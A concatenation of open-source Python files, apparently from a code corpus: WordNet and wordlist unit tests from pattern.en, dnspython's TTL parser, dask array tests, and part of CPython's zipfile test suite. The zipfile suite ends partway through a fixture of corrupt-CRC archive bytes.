self.assertEqual(en.wordnet.normalize(u"cliché"), "cliche")
self.assertEqual(en.wordnet.normalize(u"façade"), "facade")
print("pattern.en.wordnet.normalize()")
def test_version(self):
print("WordNet " + en.wordnet.VERSION)
def test_synsets(self):
# Assert synsets by part-of-speech.
for word, pos in (
("cat", en.wordnet.NOUN),
("purr", en.wordnet.VERB),
("nice", en.wordnet.ADJECTIVE),
("nicely", en.wordnet.ADVERB),
("cat", "nn"),
("cat", "NNS")):
self.assertTrue(en.wordnet.synsets(word, pos) != [])
# Assert TypeError when part-of-speech is not NOUN, VERB, ADJECTIVE or ADVERB.
self.assertRaises(TypeError, en.wordnet.synsets, "cat", "unknown_pos")
print("pattern.en.wordnet.synsets()")
def test_synset(self):
v = en.wordnet.synsets("puma")[0]
# Assert Synset(id).
self.assertEqual(v, en.wordnet.Synset(v.id))
self.assertEqual(v.pos, en.wordnet.NOUN)
self.assertAlmostEqual(v.ic, 0.0, places=1)
self.assertTrue("cougar" in v.synonyms) # ["cougar", "puma", "catamount", ...]
self.assertTrue("feline" in v.gloss) # "large American feline resembling a lion"
# Assert WordNet relations.
s = en.wordnet.synsets
v = s("tree")[0]
self.assertTrue(v.hypernym in v.hypernyms())
self.assertTrue(s("woody plant")[0] in v.hypernyms())
self.assertTrue(s("entity")[0] in v.hypernyms(recursive=True))
self.assertTrue(s("beech")[0] in v.hyponyms())
self.assertTrue(s("red beech")[0] in v.hyponyms(recursive=True))
self.assertTrue(s("trunk")[0] in v.meronyms())
self.assertTrue(s("forest")[0] in v.holonyms())
# Assert Lin-similarity.
self.assertTrue(
v.similarity(s("flower")[0]) >
v.similarity(s("teapot")[0]))
print("pattern.en.wordnet.Synset")
def test_ancenstor(self):
# Assert least-common-subsumer algorithm.
v1 = en.wordnet.synsets("cat")[0]
v2 = en.wordnet.synsets("dog")[0]
self.assertTrue(en.wordnet.ancestor(v1,v2) == en.wordnet.synsets("carnivore")[0])
print("pattern.en.wordnet.ancestor()")
def test_map32(self):
# Assert sense mapping from WN 3.0 to 2.1.
self.assertEqual(en.wordnet.map32(18850, "JJ"), (19556, "JJ"))
self.assertEqual(en.wordnet.map32(1382437, "VB"), (1370230, "VB"))
print("pattern.en.wordnet.map32")
def test_sentiwordnet(self):
# Assert SentiWordNet is loaded correctly.
if en.wordnet.sentiwordnet is None:
return
try:
en.wordnet.sentiwordnet.load()
except ImportError:
return
v = en.wordnet.synsets("anguish")[0]
self.assertEqual(v.weight, (-0.625, 0.625))
v = en.wordnet.synsets("enzymology")[0]
self.assertEqual(v.weight, (0.125, 0.125))
print("pattern.en.wordnet.sentiwordnet")
#---------------------------------------------------------------------------------------------------
class TestWordlists(unittest.TestCase):
def setUp(self):
pass
def test_wordlist(self):
# Assert lazy loading Wordlist.
v = en.wordlist.STOPWORDS
self.assertTrue("the" in v)
# Assert Wordlist to dict.
v = dict.fromkeys(en.wordlist.STOPWORDS, True)
self.assertTrue("the" in v)
# Assert new Wordlist by adding other Wordlists.
v = en.wordlist.STOPWORDS + en.wordlist.ACADEMIC
self.assertTrue("the" in v)
self.assertTrue("dr." in v)
print("pattern.en.wordlist.Wordlist")
#---------------------------------------------------------------------------------------------------
def suite():
suite = unittest.TestSuite()
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(TestInflection))
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(TestQuantification))
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(TestSpelling))
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(TestParser))
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(TestParseTree))
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(TestModality))
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(TestSentiment))
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(TestWordNet))
suite.addTest(unittest.TestLoader().loadTestsFromTestCase(TestWordlists))
return suite
if __name__ == "__main__":
unittest.TextTestRunner(verbosity=1).run(suite())
| bsd-3-clause |
stefrobb/namebench | nb_third_party/dns/ttl.py | 248 | 2180 | # Copyright (C) 2003-2007, 2009, 2010 Nominum, Inc.
#
# Permission to use, copy, modify, and distribute this software and its
# documentation for any purpose with or without fee is hereby granted,
# provided that the above copyright notice and this permission notice
# appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
"""DNS TTL conversion."""
import dns.exception
class BadTTL(dns.exception.SyntaxError):
pass
def from_text(text):
"""Convert the text form of a TTL to an integer.
The BIND 8 units syntax for TTLs (e.g. '1w6d4h3m10s') is supported.
@param text: the textual TTL
@type text: string
@raises dns.ttl.BadTTL: the TTL is not well-formed
@rtype: int
"""
if text.isdigit():
total = long(text)
else:
if not text[0].isdigit():
raise BadTTL
total = 0L
current = 0L
for c in text:
if c.isdigit():
current *= 10
current += long(c)
else:
c = c.lower()
if c == 'w':
total += current * 604800L
elif c == 'd':
total += current * 86400L
elif c == 'h':
total += current * 3600L
elif c == 'm':
total += current * 60L
elif c == 's':
total += current
else:
raise BadTTL("unknown unit '%s'" % c)
current = 0
if not current == 0:
raise BadTTL("trailing integer")
if total < 0L or total > 2147483647L:
raise BadTTL("TTL should be between 0 and 2^31 - 1 (inclusive)")
return total
| apache-2.0 |
marianotepper/dask | dask/array/tests/test_wrap.py | 9 | 1029 | import pytest
pytest.importorskip('numpy')
from dask.array.wrap import ones
import dask.array as da
import numpy as np
import dask
def test_ones():
a = ones((10, 10), dtype='i4', chunks=(4, 4))
x = np.array(a)
assert (x == np.ones((10, 10), 'i4')).all()
def test_size_as_list():
a = ones([10, 10], dtype='i4', chunks=(4, 4))
x = np.array(a)
assert (x == np.ones((10, 10), dtype='i4')).all()
def test_singleton_size():
a = ones(10, dtype='i4', chunks=(4,))
x = np.array(a)
assert (x == np.ones(10, dtype='i4')).all()
def test_kwargs():
a = ones(10, dtype='i4', chunks=(4,))
x = np.array(a)
assert (x == np.ones(10, dtype='i4')).all()
def test_full():
a = da.full((3, 3), 100, chunks=(2, 2), dtype='i8')
assert (a.compute() == 100).all()
assert a._dtype == a.compute(get=dask.get).dtype == 'i8'
def test_can_make_really_big_array_of_ones():
a = ones((1000000, 1000000), chunks=(100000, 100000))
a = ones(shape=(1000000, 1000000), chunks=(100000, 100000))
| bsd-3-clause |
harmy/kbengine | kbe/src/lib/python/Lib/test/test_zipfile.py | 47 | 57265 | # We can test part of the module without zlib.
try:
import zlib
except ImportError:
zlib = None
import io
import os
import sys
import imp
import time
import shutil
import struct
import zipfile
import unittest
from tempfile import TemporaryFile
from random import randint, random
from unittest import skipUnless
from test.support import TESTFN, run_unittest, findfile, unlink
TESTFN2 = TESTFN + "2"
TESTFNDIR = TESTFN + "d"
FIXEDTEST_SIZE = 1000
DATAFILES_DIR = 'zipfile_datafiles'
SMALL_TEST_DATA = [('_ziptest1', '1q2w3e4r5t'),
('ziptest2dir/_ziptest2', 'qawsedrftg'),
('/ziptest2dir/ziptest3dir/_ziptest3', 'azsxdcfvgb'),
('ziptest2dir/ziptest3dir/ziptest4dir/_ziptest3', '6y7u8i9o0p')]
class TestsWithSourceFile(unittest.TestCase):
def setUp(self):
self.line_gen = (bytes("Zipfile test line %d. random float: %f" %
(i, random()), "ascii")
for i in range(FIXEDTEST_SIZE))
self.data = b'\n'.join(self.line_gen) + b'\n'
# Make a source file with some lines
with open(TESTFN, "wb") as fp:
fp.write(self.data)
def make_test_archive(self, f, compression):
# Create the ZIP archive
with zipfile.ZipFile(f, "w", compression) as zipfp:
zipfp.write(TESTFN, "another.name")
zipfp.write(TESTFN, TESTFN)
zipfp.writestr("strfile", self.data)
def zip_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r", compression) as zipfp:
self.assertEqual(zipfp.read(TESTFN), self.data)
self.assertEqual(zipfp.read("another.name"), self.data)
self.assertEqual(zipfp.read("strfile"), self.data)
# Print the ZIP directory
fp = io.StringIO()
zipfp.printdir(file=fp)
directory = fp.getvalue()
lines = directory.splitlines()
self.assertEqual(len(lines), 4) # Number of files + header
self.assertIn('File Name', lines[0])
self.assertIn('Modified', lines[0])
self.assertIn('Size', lines[0])
fn, date, time_, size = lines[1].split()
self.assertEqual(fn, 'another.name')
self.assertTrue(time.strptime(date, '%Y-%m-%d'))
self.assertTrue(time.strptime(time_, '%H:%M:%S'))
self.assertEqual(size, str(len(self.data)))
# Check the namelist
names = zipfp.namelist()
self.assertEqual(len(names), 3)
self.assertIn(TESTFN, names)
self.assertIn("another.name", names)
self.assertIn("strfile", names)
# Check infolist
infos = zipfp.infolist()
names = [i.filename for i in infos]
self.assertEqual(len(names), 3)
self.assertIn(TESTFN, names)
self.assertIn("another.name", names)
self.assertIn("strfile", names)
for i in infos:
self.assertEqual(i.file_size, len(self.data))
# check getinfo
for nm in (TESTFN, "another.name", "strfile"):
info = zipfp.getinfo(nm)
self.assertEqual(info.filename, nm)
self.assertEqual(info.file_size, len(self.data))
# Check that testzip doesn't raise an exception
zipfp.testzip()
if not isinstance(f, str):
f.close()
def test_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_test(f, zipfile.ZIP_STORED)
def zip_open_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r", compression) as zipfp:
zipdata1 = []
with zipfp.open(TESTFN) as zipopen1:
while True:
read_data = zipopen1.read(256)
if not read_data:
break
zipdata1.append(read_data)
zipdata2 = []
with zipfp.open("another.name") as zipopen2:
while True:
read_data = zipopen2.read(256)
if not read_data:
break
zipdata2.append(read_data)
self.assertEqual(b''.join(zipdata1), self.data)
self.assertEqual(b''.join(zipdata2), self.data)
if not isinstance(f, str):
f.close()
def test_open_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_open_test(f, zipfile.ZIP_STORED)
def test_open_via_zip_info(self):
# Create the ZIP archive
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_STORED) as zipfp:
zipfp.writestr("name", "foo")
zipfp.writestr("name", "bar")
with zipfile.ZipFile(TESTFN2, "r") as zipfp:
infos = zipfp.infolist()
data = b""
for info in infos:
with zipfp.open(info) as zipopen:
data += zipopen.read()
self.assertTrue(data == b"foobar" or data == b"barfoo")
data = b""
for info in infos:
data += zipfp.read(info)
self.assertTrue(data == b"foobar" or data == b"barfoo")
def zip_random_open_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r", compression) as zipfp:
zipdata1 = []
with zipfp.open(TESTFN) as zipopen1:
while True:
read_data = zipopen1.read(randint(1, 1024))
if not read_data:
break
zipdata1.append(read_data)
self.assertEqual(b''.join(zipdata1), self.data)
if not isinstance(f, str):
f.close()
def test_random_open_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_random_open_test(f, zipfile.ZIP_STORED)
def test_univeral_readaheads(self):
f = io.BytesIO()
data = b'a\r\n' * 16 * 1024
zipfp = zipfile.ZipFile(f, 'w', zipfile.ZIP_STORED)
zipfp.writestr(TESTFN, data)
zipfp.close()
data2 = b''
zipfp = zipfile.ZipFile(f, 'r')
with zipfp.open(TESTFN, 'rU') as zipopen:
for line in zipopen:
data2 += line
zipfp.close()
self.assertEqual(data, data2.replace(b'\n', b'\r\n'))
def zip_readline_read_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
zipfp = zipfile.ZipFile(f, "r")
with zipfp.open(TESTFN) as zipopen:
data = b''
while True:
read = zipopen.readline()
if not read:
break
data += read
read = zipopen.read(100)
if not read:
break
data += read
self.assertEqual(data, self.data)
zipfp.close()
if not isinstance(f, str):
f.close()
def zip_readline_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r") as zipfp:
with zipfp.open(TESTFN) as zipopen:
for line in self.line_gen:
linedata = zipopen.readline()
self.assertEqual(linedata, line + '\n')
if not isinstance(f, str):
f.close()
def zip_readlines_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r") as zipfp:
with zipfp.open(TESTFN) as zipopen:
ziplines = zipopen.readlines()
for line, zipline in zip(self.line_gen, ziplines):
self.assertEqual(zipline, line + '\n')
if not isinstance(f, str):
f.close()
def zip_iterlines_test(self, f, compression):
self.make_test_archive(f, compression)
# Read the ZIP archive
with zipfile.ZipFile(f, "r") as zipfp:
with zipfp.open(TESTFN) as zipopen:
for line, zipline in zip(self.line_gen, zipopen):
self.assertEqual(zipline, line + '\n')
if not isinstance(f, str):
f.close()
def test_readline_read_stored(self):
# Issue #7610: calls to readline() interleaved with calls to read().
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_readline_read_test(f, zipfile.ZIP_STORED)
def test_readline_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_readline_test(f, zipfile.ZIP_STORED)
def test_readlines_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_readlines_test(f, zipfile.ZIP_STORED)
def test_iterlines_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_iterlines_test(f, zipfile.ZIP_STORED)
@skipUnless(zlib, "requires zlib")
def test_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_open_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_open_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_random_open_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_random_open_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_readline_read_deflated(self):
# Issue #7610: calls to readline() interleaved with calls to read().
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_readline_read_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_readline_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_readline_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_readlines_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_readlines_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_iterlines_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_iterlines_test(f, zipfile.ZIP_DEFLATED)
@skipUnless(zlib, "requires zlib")
def test_low_compression(self):
"""Check for cases where compressed data is larger than original."""
# Create the ZIP archive
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_DEFLATED) as zipfp:
zipfp.writestr("strfile", '12')
# Get an open object for strfile
with zipfile.ZipFile(TESTFN2, "r", zipfile.ZIP_DEFLATED) as zipfp:
with zipfp.open("strfile") as openobj:
self.assertEqual(openobj.read(1), b'1')
self.assertEqual(openobj.read(1), b'2')
def test_absolute_arcnames(self):
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_STORED) as zipfp:
zipfp.write(TESTFN, "/absolute")
with zipfile.ZipFile(TESTFN2, "r", zipfile.ZIP_STORED) as zipfp:
self.assertEqual(zipfp.namelist(), ["absolute"])
def test_append_to_zip_file(self):
"""Test appending to an existing zipfile."""
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_STORED) as zipfp:
zipfp.write(TESTFN, TESTFN)
with zipfile.ZipFile(TESTFN2, "a", zipfile.ZIP_STORED) as zipfp:
zipfp.writestr("strfile", self.data)
self.assertEqual(zipfp.namelist(), [TESTFN, "strfile"])
def test_append_to_non_zip_file(self):
"""Test appending to an existing file that is not a zipfile."""
# NOTE: this test fails if len(d) < 22 because of the first
# line "fpin.seek(-22, 2)" in _EndRecData
data = b'I am not a ZipFile!'*10
with open(TESTFN2, 'wb') as f:
f.write(data)
with zipfile.ZipFile(TESTFN2, "a", zipfile.ZIP_STORED) as zipfp:
zipfp.write(TESTFN, TESTFN)
with open(TESTFN2, 'rb') as f:
f.seek(len(data))
with zipfile.ZipFile(f, "r") as zipfp:
self.assertEqual(zipfp.namelist(), [TESTFN])
def test_ignores_newline_at_end(self):
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_STORED) as zipfp:
zipfp.write(TESTFN, TESTFN)
with open(TESTFN2, 'a') as f:
f.write("\r\n\00\00\00")
with zipfile.ZipFile(TESTFN2, "r") as zipfp:
self.assertIsInstance(zipfp, zipfile.ZipFile)
def test_ignores_stuff_appended_past_comments(self):
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_STORED) as zipfp:
zipfp.comment = b"this is a comment"
zipfp.write(TESTFN, TESTFN)
with open(TESTFN2, 'a') as f:
f.write("abcdef\r\n")
with zipfile.ZipFile(TESTFN2, "r") as zipfp:
self.assertIsInstance(zipfp, zipfile.ZipFile)
self.assertEqual(zipfp.comment, b"this is a comment")
def test_write_default_name(self):
"""Check that calling ZipFile.write without arcname specified
produces the expected result."""
with zipfile.ZipFile(TESTFN2, "w") as zipfp:
zipfp.write(TESTFN)
with open(TESTFN, "rb") as f:
self.assertEqual(zipfp.read(TESTFN), f.read())
@skipUnless(zlib, "requires zlib")
def test_per_file_compression(self):
"""Check that files within a Zip archive can have different
compression options."""
with zipfile.ZipFile(TESTFN2, "w") as zipfp:
zipfp.write(TESTFN, 'storeme', zipfile.ZIP_STORED)
zipfp.write(TESTFN, 'deflateme', zipfile.ZIP_DEFLATED)
sinfo = zipfp.getinfo('storeme')
dinfo = zipfp.getinfo('deflateme')
self.assertEqual(sinfo.compress_type, zipfile.ZIP_STORED)
self.assertEqual(dinfo.compress_type, zipfile.ZIP_DEFLATED)
def test_write_to_readonly(self):
"""Check that trying to call write() on a readonly ZipFile object
raises a RuntimeError."""
with zipfile.ZipFile(TESTFN2, mode="w") as zipfp:
zipfp.writestr("somefile.txt", "bogus")
with zipfile.ZipFile(TESTFN2, mode="r") as zipfp:
self.assertRaises(RuntimeError, zipfp.write, TESTFN)
def test_extract(self):
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_STORED) as zipfp:
for fpath, fdata in SMALL_TEST_DATA:
zipfp.writestr(fpath, fdata)
with zipfile.ZipFile(TESTFN2, "r") as zipfp:
for fpath, fdata in SMALL_TEST_DATA:
writtenfile = zipfp.extract(fpath)
# make sure it was written to the right place
if os.path.isabs(fpath):
correctfile = os.path.join(os.getcwd(), fpath[1:])
else:
correctfile = os.path.join(os.getcwd(), fpath)
correctfile = os.path.normpath(correctfile)
self.assertEqual(writtenfile, correctfile)
# make sure correct data is in correct file
with open(writtenfile, "rb") as f:
self.assertEqual(fdata.encode(), f.read())
os.remove(writtenfile)
# remove the test file subdirectories
shutil.rmtree(os.path.join(os.getcwd(), 'ziptest2dir'))
def test_extract_all(self):
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_STORED) as zipfp:
for fpath, fdata in SMALL_TEST_DATA:
zipfp.writestr(fpath, fdata)
with zipfile.ZipFile(TESTFN2, "r") as zipfp:
zipfp.extractall()
for fpath, fdata in SMALL_TEST_DATA:
if os.path.isabs(fpath):
outfile = os.path.join(os.getcwd(), fpath[1:])
else:
outfile = os.path.join(os.getcwd(), fpath)
with open(outfile, "rb") as f:
self.assertEqual(fdata.encode(), f.read())
os.remove(outfile)
# remove the test file subdirectories
shutil.rmtree(os.path.join(os.getcwd(), 'ziptest2dir'))
def test_writestr_compression(self):
zipfp = zipfile.ZipFile(TESTFN2, "w")
zipfp.writestr("a.txt", "hello world", compress_type=zipfile.ZIP_STORED)
if zlib:
zipfp.writestr("b.txt", "hello world", compress_type=zipfile.ZIP_DEFLATED)
info = zipfp.getinfo('a.txt')
self.assertEqual(info.compress_type, zipfile.ZIP_STORED)
if zlib:
info = zipfp.getinfo('b.txt')
self.assertEqual(info.compress_type, zipfile.ZIP_DEFLATED)
def zip_test_writestr_permissions(self, f, compression):
# Make sure that writestr creates files with mode 0600,
# when it is passed a name rather than a ZipInfo instance.
self.make_test_archive(f, compression)
with zipfile.ZipFile(f, "r") as zipfp:
zinfo = zipfp.getinfo('strfile')
self.assertEqual(zinfo.external_attr, 0o600 << 16)
if not isinstance(f, str):
f.close()
def test_writestr_permissions(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_test_writestr_permissions(f, zipfile.ZIP_STORED)
def test_writestr_extended_local_header_issue1202(self):
with zipfile.ZipFile(TESTFN2, 'w') as orig_zip:
for data in 'abcdefghijklmnop':
zinfo = zipfile.ZipInfo(data)
zinfo.flag_bits |= 0x08 # Include an extended local header.
orig_zip.writestr(zinfo, data)
def test_close(self):
"""Check that the zipfile is closed after the 'with' block."""
with zipfile.ZipFile(TESTFN2, "w") as zipfp:
for fpath, fdata in SMALL_TEST_DATA:
zipfp.writestr(fpath, fdata)
self.assertTrue(zipfp.fp is not None, 'zipfp is not open')
self.assertTrue(zipfp.fp is None, 'zipfp is not closed')
with zipfile.ZipFile(TESTFN2, "r") as zipfp:
self.assertTrue(zipfp.fp is not None, 'zipfp is not open')
self.assertTrue(zipfp.fp is None, 'zipfp is not closed')
def test_close_on_exception(self):
"""Check that the zipfile is closed if an exception is raised in the
'with' block."""
with zipfile.ZipFile(TESTFN2, "w") as zipfp:
for fpath, fdata in SMALL_TEST_DATA:
zipfp.writestr(fpath, fdata)
try:
with zipfile.ZipFile(TESTFN2, "r") as zipfp2:
raise zipfile.BadZipFile()
except zipfile.BadZipFile:
self.assertTrue(zipfp2.fp is None, 'zipfp is not closed')
@skipUnless(zlib, "requires zlib")
def test_unicode_filenames(self):
# bug #10801
fname = findfile('zip_cp437_header.zip')
with zipfile.ZipFile(fname) as zipfp:
for name in zipfp.namelist():
zipfp.open(name).close()
def tearDown(self):
unlink(TESTFN)
unlink(TESTFN2)
class TestZip64InSmallFiles(unittest.TestCase):
# These tests test the ZIP64 functionality without using large files,
# see test_zipfile64 for proper tests.
def setUp(self):
self._limit = zipfile.ZIP64_LIMIT
zipfile.ZIP64_LIMIT = 5
line_gen = (bytes("Test of zipfile line %d." % i, "ascii")
for i in range(0, FIXEDTEST_SIZE))
self.data = b'\n'.join(line_gen)
# Make a source file with some lines
with open(TESTFN, "wb") as fp:
fp.write(self.data)
def large_file_exception_test(self, f, compression):
with zipfile.ZipFile(f, "w", compression) as zipfp:
self.assertRaises(zipfile.LargeZipFile,
zipfp.write, TESTFN, "another.name")
def large_file_exception_test2(self, f, compression):
with zipfile.ZipFile(f, "w", compression) as zipfp:
self.assertRaises(zipfile.LargeZipFile,
zipfp.writestr, "another.name", self.data)
if not isinstance(f, str):
f.close()
def test_large_file_exception(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.large_file_exception_test(f, zipfile.ZIP_STORED)
self.large_file_exception_test2(f, zipfile.ZIP_STORED)
def zip_test(self, f, compression):
# Create the ZIP archive
with zipfile.ZipFile(f, "w", compression, allowZip64=True) as zipfp:
zipfp.write(TESTFN, "another.name")
zipfp.write(TESTFN, TESTFN)
zipfp.writestr("strfile", self.data)
# Read the ZIP archive
with zipfile.ZipFile(f, "r", compression) as zipfp:
self.assertEqual(zipfp.read(TESTFN), self.data)
self.assertEqual(zipfp.read("another.name"), self.data)
self.assertEqual(zipfp.read("strfile"), self.data)
# Print the ZIP directory
fp = io.StringIO()
zipfp.printdir(fp)
directory = fp.getvalue()
lines = directory.splitlines()
self.assertEqual(len(lines), 4) # Number of files + header
self.assertIn('File Name', lines[0])
self.assertIn('Modified', lines[0])
self.assertIn('Size', lines[0])
fn, date, time_, size = lines[1].split()
self.assertEqual(fn, 'another.name')
self.assertTrue(time.strptime(date, '%Y-%m-%d'))
self.assertTrue(time.strptime(time_, '%H:%M:%S'))
self.assertEqual(size, str(len(self.data)))
# Check the namelist
names = zipfp.namelist()
self.assertEqual(len(names), 3)
self.assertIn(TESTFN, names)
self.assertIn("another.name", names)
self.assertIn("strfile", names)
# Check infolist
infos = zipfp.infolist()
names = [i.filename for i in infos]
self.assertEqual(len(names), 3)
self.assertIn(TESTFN, names)
self.assertIn("another.name", names)
self.assertIn("strfile", names)
for i in infos:
self.assertEqual(i.file_size, len(self.data))
# check getinfo
for nm in (TESTFN, "another.name", "strfile"):
info = zipfp.getinfo(nm)
self.assertEqual(info.filename, nm)
self.assertEqual(info.file_size, len(self.data))
# Check that testzip doesn't raise an exception
zipfp.testzip()
if not isinstance(f, str):
f.close()
def test_stored(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_test(f, zipfile.ZIP_STORED)
@skipUnless(zlib, "requires zlib")
def test_deflated(self):
for f in (TESTFN2, TemporaryFile(), io.BytesIO()):
self.zip_test(f, zipfile.ZIP_DEFLATED)
def test_absolute_arcnames(self):
with zipfile.ZipFile(TESTFN2, "w", zipfile.ZIP_STORED,
allowZip64=True) as zipfp:
zipfp.write(TESTFN, "/absolute")
with zipfile.ZipFile(TESTFN2, "r", zipfile.ZIP_STORED) as zipfp:
self.assertEqual(zipfp.namelist(), ["absolute"])
def tearDown(self):
zipfile.ZIP64_LIMIT = self._limit
unlink(TESTFN)
unlink(TESTFN2)
class PyZipFileTests(unittest.TestCase):
def test_write_pyfile(self):
with TemporaryFile() as t, zipfile.PyZipFile(t, "w") as zipfp:
fn = __file__
if fn.endswith('.pyc') or fn.endswith('.pyo'):
path_split = fn.split(os.sep)
if os.altsep is not None:
path_split.extend(fn.split(os.altsep))
if '__pycache__' in path_split:
fn = imp.source_from_cache(fn)
else:
fn = fn[:-1]
zipfp.writepy(fn)
bn = os.path.basename(fn)
self.assertNotIn(bn, zipfp.namelist())
self.assertTrue(bn + 'o' in zipfp.namelist() or
bn + 'c' in zipfp.namelist())
with TemporaryFile() as t, zipfile.PyZipFile(t, "w") as zipfp:
fn = __file__
if fn.endswith(('.pyc', '.pyo')):
fn = fn[:-1]
zipfp.writepy(fn, "testpackage")
bn = "%s/%s" % ("testpackage", os.path.basename(fn))
self.assertNotIn(bn, zipfp.namelist())
self.assertTrue(bn + 'o' in zipfp.namelist() or
bn + 'c' in zipfp.namelist())
def test_write_python_package(self):
import email
packagedir = os.path.dirname(email.__file__)
with TemporaryFile() as t, zipfile.PyZipFile(t, "w") as zipfp:
zipfp.writepy(packagedir)
# Check for a couple of modules at different levels of the
# hierarchy
names = zipfp.namelist()
self.assertTrue('email/__init__.pyo' in names or
'email/__init__.pyc' in names)
self.assertTrue('email/mime/text.pyo' in names or
'email/mime/text.pyc' in names)
def test_write_with_optimization(self):
import email
packagedir = os.path.dirname(email.__file__)
# use .pyc if running test in optimization mode,
# use .pyo if running test in debug mode
optlevel = 1 if __debug__ else 0
ext = '.pyo' if optlevel == 1 else '.pyc'
with TemporaryFile() as t, \
zipfile.PyZipFile(t, "w", optimize=optlevel) as zipfp:
zipfp.writepy(packagedir)
names = zipfp.namelist()
self.assertIn('email/__init__' + ext, names)
self.assertIn('email/mime/text' + ext, names)
def test_write_python_directory(self):
os.mkdir(TESTFN2)
try:
with open(os.path.join(TESTFN2, "mod1.py"), "w") as fp:
fp.write("print(42)\n")
with open(os.path.join(TESTFN2, "mod2.py"), "w") as fp:
fp.write("print(42 * 42)\n")
with open(os.path.join(TESTFN2, "mod2.txt"), "w") as fp:
fp.write("bla bla bla\n")
with TemporaryFile() as t, zipfile.PyZipFile(t, "w") as zipfp:
zipfp.writepy(TESTFN2)
names = zipfp.namelist()
self.assertTrue('mod1.pyc' in names or 'mod1.pyo' in names)
self.assertTrue('mod2.pyc' in names or 'mod2.pyo' in names)
self.assertNotIn('mod2.txt', names)
finally:
shutil.rmtree(TESTFN2)
def test_write_non_pyfile(self):
with TemporaryFile() as t, zipfile.PyZipFile(t, "w") as zipfp:
with open(TESTFN, 'w') as f:
f.write('most definitely not a python file')
self.assertRaises(RuntimeError, zipfp.writepy, TESTFN)
os.remove(TESTFN)
class OtherTests(unittest.TestCase):
zips_with_bad_crc = {
zipfile.ZIP_STORED: (
b'PK\003\004\024\0\0\0\0\0 \213\212;:r'
b'\253\377\f\0\0\0\f\0\0\0\005\0\0\000af'
b'ilehello,AworldP'
b'K\001\002\024\003\024\0\0\0\0\0 \213\212;:'
b'r\253\377\f\0\0\0\f\0\0\0\005\0\0\0\0'
b'\0\0\0\0\0\0\0\200\001\0\0\0\000afi'
b'lePK\005\006\0\0\0\0\001\0\001\0003\000'
b'\0\0/\0\0\0\0\0'),
zipfile.ZIP_DEFLATED: (
b'PK\x03\x04\x14\x00\x00\x00\x08\x00n}\x0c=FA'
b'KE\x10\x00\x00\x00n\x00\x00\x00\x05\x00\x00\x00af'
b'ile\xcbH\xcd\xc9\xc9W(\xcf/\xcaI\xc9\xa0'
b'=\x13\x00PK\x01\x02\x14\x03\x14\x00\x00\x00\x08\x00n'
b'}\x0c=FAKE\x10\x00\x00\x00n\x00\x00\x00\x05'
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\x00\x00\x00'
b'\x00afilePK\x05\x06\x00\x00\x00\x00\x01\x00'
